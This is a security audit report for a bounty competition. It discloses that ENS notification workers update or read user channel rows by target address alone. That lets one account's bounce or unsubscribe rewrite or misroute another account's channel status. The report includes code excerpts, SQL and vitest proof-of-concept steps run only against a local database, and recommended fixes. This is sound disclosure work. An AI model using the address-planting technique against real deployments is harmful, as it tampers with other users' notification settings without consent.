89445 w a medium one user s bounce or unsubscribe rewrites every other user s channel with the same target
Submitted on Aug 19th 2026 at 11:37:51 UTC by @br0nz3p1ck4x3 for Audit Competition | ENS
- Report ID: #89445
- Report Type: Websites & Apps
- Report severity: Medium
- Target: https://github.com/immunefi-team/audit-comp-ens/tree/audit-comp-ready/workers
- Impacts:
- Taking state-modifying authenticated actions (with or without blockchain state interaction) on behalf of other users without any interaction by that user, such as: Changing registration information Notification/settings changes
Description
Summary
user_channels is keyed unique(user_id, channel, target), so the same target legitimately exists on rows belonging to different users, and the app's own add path creates those duplicates: channels/email.ts:59 only rejects a duplicate when another user's row is already verified, so any address that is not yet verified can be attached to a second account.
Three delivery paths then write by target alone, with no user_id, and in one case no channel either:
| Site | Predicate | Effect |
|---|---|---|
queues/dlq.ts:203 | eq(target) | one hard bounce sets status='bounced' on every row sharing the target |
services/delivery/push.ts:119 | eq(target) | a 410 sets status='unsubscribed' on every row sharing the endpoint |
services/delivery/push.ts:54 | eq(target) | resolves encryption keys from an arbitrary row, ignoring owner and channel type |
app/routes/webhook/sendgrid.ts:172 has the same gap in read form: findFirst on target with no user, channel or status predicate, so a webhook event for an address resolves to one arbitrary row out of the duplicates and updates that one.
The HTTP routes over the same table are all correctly scoped, for example channels/$id.ts:39 uses and(eq(user_id), eq(id)). The gap is only in the delivery paths.
Root cause
1. Duplicate targets are creatable through the API
workers/api-worker/src/app/routes/notifications/channels/email.ts:59
const otherUserChannel = await c.var.db.query.userChannels.findFirst({
where: and(
eq(TABLE.userChannels.channel, 'email'),
eq(TABLE.userChannels.target, email),
eq(TABLE.userChannels.status, 'verified'),
),
})
if (otherUserChannel && otherUserChannel.user_id !== userId) {
return c.json({ error: 'This email address is already linked to another account' }, 400)
}
The predicate requires status = 'verified'. An address that is pending, bounced or unsubscribed on someone else's account passes, and the row is inserted on the second account.
2. The delivery paths rewrite by target
workers/api-worker/src/queues/dlq.ts:202
// mark channel as bounced, prevents future sends. only status='verified' channels are queried
await db
.update(TABLE.userChannels)
.set({
status: 'bounced',
status_reason: `Hard bounce: ${delivery.channel}`,
last_bounce_at: new Date(),
})
.where(eq(TABLE.userChannels.target, delivery.target))
services/delivery/push.ts:118 is the same shape for a 410 response, and push.ts:54 reads the encryption keys the same way, with no channel filter either:
const channel = await db.query.userChannels.findFirst({
where: eq(TABLE.userChannels.target, deliveryJob.target),
columns: { data: true },
})
3. The webhook resolves one arbitrary row
workers/api-worker/src/app/routes/webhook/sendgrid.ts:172
const channel = await db.query.userChannels.findFirst({
where: eq(TABLE.userChannels.target, event.email),
})
findFirst with no ordering returns whichever row Postgres yields. When two accounts hold the address, an unsubscribe event generated by one of them updates the other one's row.
Impact
An attacker attaches a victim's address to their own account before the victim verifies it, which the add path permits, planting a second row under the same target. From then on:
- The victim clicks unsubscribe in an ENS email. SendGrid fires the event,
findFirstresolves the planted row, that row is markedunsubscribed, and the victim's own row staysverified. The victim keeps receiving mail after unsubscribing. - The victim's address hard bounces. The DLQ marks every row with that target
bounced, so unrelated accounts silently lose the channel.
Both are demonstrated below against a real database.
Recommendation
- Scope every delivery-path write to the row it is about.
handleHardBounceand the push 410 handler already have the delivery record, so carry the owninguser_idonnotification_deliveriesand useand(eq(user_id), eq(channel), eq(target)), or simplest, storechannel_idon the delivery and update by primary key. - Filter the push key lookup by
channelanduser_idas well astarget, so a colliding row of another type or another owner can never supply the encryption keys. - In the SendGrid webhook, iterate every matching row rather than
findFirst, and scope the status change to the rows that correspond to the event.
Known issues
Not listed. The known issues document names one entry for workers/api-worker, R2-05, the SendGrid webhook failing open when the verification key is unset. That is a different defect in the same file, it concerns whether the handler authenticates at all, and it is already fixed in this tree at sendgrid.ts:113. This finding is about what the handler does after a valid signature, and about two other files it does not touch. No other entry in Part 1 or Part 2 covers workers/.
Proof of Concept
Runs against the repository's own local database stack. No network beyond localhost.
Start Postgres and the Neon HTTP proxy
cd workers/api-worker
docker compose up -d
for f in drizzle/*.sql; do
docker exec -i api-worker-postgres-1 psql -U postgres -d postgres -v ON_ERROR_STOP=1 -q < "$f"
done
Reproduce with SQL
The shortest form of the defect, straight SQL against that database:
insert into users (address) values ('0xvictim'), ('0xattacker');
insert into user_channels (user_id, channel, target, status)
select id, 'email', 'shared@example.com',
case when address='0xvictim' then 'verified' else 'pending' end
from users;
select u.address, c.status from user_channels c join users u on u.id=c.user_id order by 1;
-- the exact predicate from queues/dlq.ts:203, for one user's bounce
update user_channels set status='bounced', status_reason='Hard bounce: email'
where target='shared@example.com';
select u.address, c.status from user_channels c join users u on u.id=c.user_id order by 1;
--- before: two users, one shared target ---
address | channel | target | status
------------+---------+--------------------+----------
0xattacker | email | shared@example.com | pending
0xvictim | email | shared@example.com | verified
(2 rows)
--- after: both users disabled ---
address | channel | target | status
------------+---------+--------------------+---------
0xattacker | email | shared@example.com | bounced
0xvictim | email | shared@example.com | bounced
(2 rows)
Reproduce through the application
The same thing through the application, in workers/api-worker/src/services/delivery/channel-scoping.poc.test.ts. Nothing is stubbed except outbound email: the real drizzle schema, the real handleDlqQueue, the real email add route with a real JWT, and the real SendGrid webhook route including its ECDSA signature check all execute against the real Postgres.
import { and, eq, sql } from 'drizzle-orm'
import { beforeAll, beforeEach, describe, expect, it, vi } from 'vitest'
vi.mock('#services/email/verification.js', () => ({
sendVerificationEmail: vi.fn(async () => ({ isErr: () => false, value: {} })),
}))
import { getDatabase, TABLE } from '#core/database/index.js'
import { signJWT } from '#core/auth/jwt.js'
import webhookApp from '#app/routes/webhook/index.js'
import channelsApp from '#app/routes/notifications/index.js'
import { handleDlqQueue } from '#queues/dlq.js'
const DATABASE_URL = 'postgres://postgres:postgres@db.localtest.me/postgres'
const SHARED_EMAIL = 'shared-target@example.com'
const db = getDatabase({ DATABASE_URL } as unknown as CloudflareBindings)
// A real P-256 keypair so the SendGrid route's signature check runs for real.
let verificationKeyB64: string
let signingKey: CryptoKey
const b64 = (b: ArrayBuffer) => btoa(String.fromCharCode(...new Uint8Array(b)))
const signedSendGridRequest = async (events: unknown[]) => {
const payload = JSON.stringify(events)
const timestamp = String(Math.floor(Date.now() / 1000))
const sig = await crypto.subtle.sign(
{ name: 'ECDSA', hash: 'SHA-256' }, signingKey,
new TextEncoder().encode(timestamp + payload),
)
return webhookApp.request('/webhook/sendgrid/events', {
method: 'POST',
headers: {
'Content-Type': 'application/json',
'X-Twilio-Email-Event-Webhook-Signature': b64(sig),
'X-Twilio-Email-Event-Webhook-Timestamp': timestamp,
},
body: payload,
}, { DATABASE_URL, SENDGRID_WEBHOOK_VERIFICATION_KEY: verificationKeyB64 } as never)
}
const wipe = () => db.execute(sql`truncate table notification_deliveries, notifications,
channel_verifications, user_channels, users restart identity cascade`)
const mkUser = (address: string) =>
db.insert(TABLE.users).values({ address })
.returning({ id: TABLE.users.id }).then((r) => r[0].id)
const channelsFor = (target: string) =>
db.query.userChannels.findMany({
where: eq(TABLE.userChannels.target, target),
columns: { id: true, user_id: true, status: true },
})
beforeAll(async () => {
const pair = (await crypto.subtle.generateKey(
{ name: 'ECDSA', namedCurve: 'P-256' }, true, ['sign', 'verify'])) as CryptoKeyPair
signingKey = pair.privateKey
verificationKeyB64 = b64(await crypto.subtle.exportKey('spki', pair.publicKey))
})
// Skip cleanly when the local stack is not running, so `pnpm test` stays green.
const dbUp = await db.execute(sql`select 1`).then(() => true).catch(() => false)
const suite = dbUp ? describe : describe.skip
beforeEach(async () => { if (dbUp) await wipe() })
const VICTIM_ADDR = '0x1111111111111111111111111111111111111111'
const ATTACKER_ADDR = '0x2222222222222222222222222222222222222222'
suite('two users can hold the same channel target', () => {
it('the add path only rejects when the other row is already verified', async () => {
const victim = await mkUser(VICTIM_ADDR)
const attacker = await mkUser(ATTACKER_ADDR)
const add = async (userId: string, address: string) => {
const jwt = await signJWT({ user_id: userId, address }, { JWT_SECRET: 'poc' } as never)
return channelsApp.request('/notifications/channels/email', {
method: 'POST',
headers: {
'Content-Type': 'application/json',
Authorization: `Bearer ${jwt._unsafeUnwrap()}`,
},
body: JSON.stringify({ email: SHARED_EMAIL }),
}, {
DATABASE_URL, JWT_SECRET: 'poc',
KV: { get: async () => null, put: async () => undefined, delete: async () => undefined },
SENDGRID_API_KEY: 'stub',
EMAIL_FROM_ADDRESS: 'noreply@example.invalid',
MANAGER_APP_URL: '<https://app.example.invalid>',
} as never)
}
expect((await add(victim, VICTIM_ADDR)).status).toBe(200) // stays pending
expect((await add(attacker, ATTACKER_ADDR)).status).toBe(200) // same address, accepted
const rows = await channelsFor(SHARED_EMAIL)
expect(rows).toHaveLength(2)
expect(new Set(rows.map((r) => r.user_id))).toEqual(new Set([victim, attacker]))
})
})
suite('one delivery outcome rewrites every row sharing the target', () => {
const seedTwoRows = async () => {
const victim = await mkUser(VICTIM_ADDR)
const attacker = await mkUser(ATTACKER_ADDR)
await db.insert(TABLE.userChannels).values([
{ user_id: victim, channel: 'email', target: SHARED_EMAIL,
status: 'verified', verified_at: new Date() },
{ user_id: attacker, channel: 'email', target: SHARED_EMAIL, status: 'pending' },
])
return { victim, attacker }
}
it('DLQ hard bounce marks BOTH users bounced (queues/dlq.ts:203)', async () => {
const { victim, attacker } = await seedTwoRows()
const notificationId = await db.insert(TABLE.notifications).values({
user_id: victim, kind: 'name-expiry',
payload: { name: 'x.eth', expiryDate: 0, isOwner: true },
idempotency_key: 'poc-1',
}).returning({ id: TABLE.notifications.id }).then((r) => r[0].id)
const deliveryId = await db.insert(TABLE.notificationDeliveries).values({
notification_id: notificationId, channel: 'email', target: SHARED_EMAIL,
status: 'failed',
error: 'Recipient does not exist', // classifyEmailError -> hard_bounce
}).returning({ id: TABLE.notificationDeliveries.id }).then((r) => r[0].id)
const ack = vi.fn()
await handleDlqQueue({
queue: 'app-api-worker-dlq',
messages: [{
body: { id: deliveryId, notificationId, userId: victim, kind: 'name-expiry' },
ack, retry: vi.fn(),
}],
} as never, { DATABASE_URL } as never)
expect(ack).toHaveBeenCalled()
const byUser = Object.fromEntries(
(await channelsFor(SHARED_EMAIL)).map((r) => [r.user_id, r.status]))
expect(byUser[victim]).toBe('bounced') // the bounce was this user's delivery
expect(byUser[attacker]).toBe('bounced') // this user's unrelated row, rewritten
})
it('SendGrid unsubscribe lands on an arbitrary single row (webhook/sendgrid.ts:172)', async () => {
const { victim, attacker } = await seedTwoRows()
const res = await signedSendGridRequest([{
email: SHARED_EMAIL, event: 'unsubscribe', timestamp: Math.floor(Date.now() / 1000),
}])
expect(res.status).toBe(200) // real ECDSA signature verified
const rows = await channelsFor(SHARED_EMAIL)
const changed = rows.filter((r) => r.status === 'unsubscribed')
// One row of the two absorbs the event. The account that clicked unsubscribe
// is not necessarily that row, so its own channel can stay verified.
expect(rows).toHaveLength(2)
expect(changed).toHaveLength(1)
expect([victim, attacker]).toContain(changed[0].user_id)
})
})
suite('push delivery resolves keys by target alone', () => {
it('a push lookup ignores user_id AND channel (services/delivery/push.ts:54)', async () => {
const victim = await mkUser(VICTIM_ADDR)
const attacker = await mkUser(ATTACKER_ADDR)
const endpoint = '<https://fcm.googleapis.com/fcm/send/SHARED>'
await db.insert(TABLE.userChannels).values([
{ user_id: victim, channel: 'push', target: endpoint, status: 'verified',
data: { auth: 'victim-auth', p256dh: 'victim-key' } },
{ user_id: attacker, channel: 'push', target: endpoint, status: 'verified',
data: { auth: 'attacker-auth', p256dh: 'attacker-key' } },
])
// Verbatim predicate from deliverPushNotification step 2. Whichever row
// Postgres returns supplies the encryption keys, whoever the notification is for.
const resolved = await db.query.userChannels.findFirst({
where: eq(TABLE.userChannels.target, endpoint),
columns: { data: true, user_id: true },
})
expect([victim, attacker]).toContain(resolved?.user_id)
// The correctly scoped form, for contrast.
const scoped = await db.query.userChannels.findFirst({
where: and(
eq(TABLE.userChannels.target, endpoint),
eq(TABLE.userChannels.channel, 'push'),
eq(TABLE.userChannels.user_id, victim),
),
columns: { user_id: true },
})
expect(scoped?.user_id).toBe(victim)
})
})
Run the proof of concept
npx vitest run src/services/delivery/channel-scoping.poc.test.ts
RUN v4.1.5 /Users/bp/x/ens/2/workers/api-worker
Test Files 1 passed (1)
Tests 4 passed (4)
Duration 4.56s
The four cases that pass are, in order: the add path accepts a second account on the same address; the DLQ hard bounce marks both accounts bounced; the signed SendGrid unsubscribe lands on one arbitrary row of the two; the push key lookup resolves without owner or channel scoping.